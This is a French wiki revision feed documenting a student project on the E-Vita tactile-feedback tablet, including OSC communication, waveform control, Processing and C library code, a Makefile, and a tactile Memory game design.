 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
&lt;br /&gt;
Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.&lt;br /&gt;
&lt;br /&gt;
Pour ceux, j'ai penser à réaliser le jeu &amp;quot;Memory&amp;quot;.&lt;br /&gt;
Le jeu se présente ainsi :&lt;br /&gt;
*On dspose un nombre pair de cartes face cachée.&lt;br /&gt;
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.&lt;br /&gt;
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.&lt;br /&gt;
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.&lt;br /&gt;
&lt;br /&gt;
J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.&lt;br /&gt;
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut structurer le jeu ainsi : &lt;br /&gt;
&lt;br /&gt;
*Initialisation du plateau de jeu (18 cartes face verso).&lt;br /&gt;
**Distribution aléatoire 18/2 textures&lt;br /&gt;
*Tant que toutes les paires ne sont pas trouvées&lt;br /&gt;
**Tirer la première carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Tirer la deuxième carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Valider&lt;br /&gt;
**Test des motifs &lt;br /&gt;
***Si texture équivalente -&amp;gt; Le joueur gagne 1 points, le nombre de coup joué prend +1 -&amp;gt; Les cartes sont retirés&lt;br /&gt;
***Si texture non-équivalente -&amp;gt; Le nombre de coup joué prend +1 -&amp;gt; les cartes sont remises faces verso.&lt;br /&gt;
*Fin tant que &lt;br /&gt;
*Affichage du nombre de coups joués + durée de la partie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Menu.png|200px|thumb|left]]&lt;br /&gt;
[[Fichier:Game.png|200px|thumb|right]]&lt;br /&gt;
[[Fichier:Pause.png|200px|thumb|right]]&lt;br /&gt;
[[Fichier:Win.png|200px|thumb|right]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Win.png&amp;diff=39487</id>
		<title>Fichier:Win.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Win.png&amp;diff=39487"/>
				<updated>2017-02-23T01:11:54Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Pause.png&amp;diff=39486</id>
		<title>Fichier:Pause.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Pause.png&amp;diff=39486"/>
				<updated>2017-02-23T00:59:51Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Game.png&amp;diff=39485</id>
		<title>Fichier:Game.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Game.png&amp;diff=39485"/>
				<updated>2017-02-23T00:59:28Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Menu_jeu.png&amp;diff=39484</id>
		<title>Fichier:Menu jeu.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Menu_jeu.png&amp;diff=39484"/>
				<updated>2017-02-23T00:57:54Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39335</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39335"/>
				<updated>2017-02-20T15:10:18Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à Outils Bas Niveau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
&lt;br /&gt;
Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.&lt;br /&gt;
&lt;br /&gt;
Pour ceux, j'ai penser à réaliser le jeu &amp;quot;Memory&amp;quot;.&lt;br /&gt;
Le jeu se présente ainsi :&lt;br /&gt;
*On dspose un nombre pair de cartes face cachée.&lt;br /&gt;
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.&lt;br /&gt;
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.&lt;br /&gt;
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.&lt;br /&gt;
&lt;br /&gt;
J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.&lt;br /&gt;
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut structurer le jeu ainsi : &lt;br /&gt;
&lt;br /&gt;
*Initialisation du plateau de jeu (18 cartes face verso).&lt;br /&gt;
**Distribution aléatoire 18/2 textures&lt;br /&gt;
*Tant que toutes les paires ne sont pas trouvées&lt;br /&gt;
**Tirer la première carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Tirer la deuxième carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Valider&lt;br /&gt;
**Test des motifs &lt;br /&gt;
***Si texture équivalente -&amp;gt; Le joueur gagne 1 points, le nombre de coup joué prend +1 -&amp;gt; Les cartes sont retirés&lt;br /&gt;
***Si texture non-équivalente -&amp;gt; Le nombre de coup joué prend +1 -&amp;gt; les cartes sont remises faces verso.&lt;br /&gt;
*Fin tant que &lt;br /&gt;
*Affichage du nombre de coups joués + durée de la partie.&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38845</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=38845"/>
				<updated>2017-02-10T13:39:59Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Boite à Outils Bas Niveau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
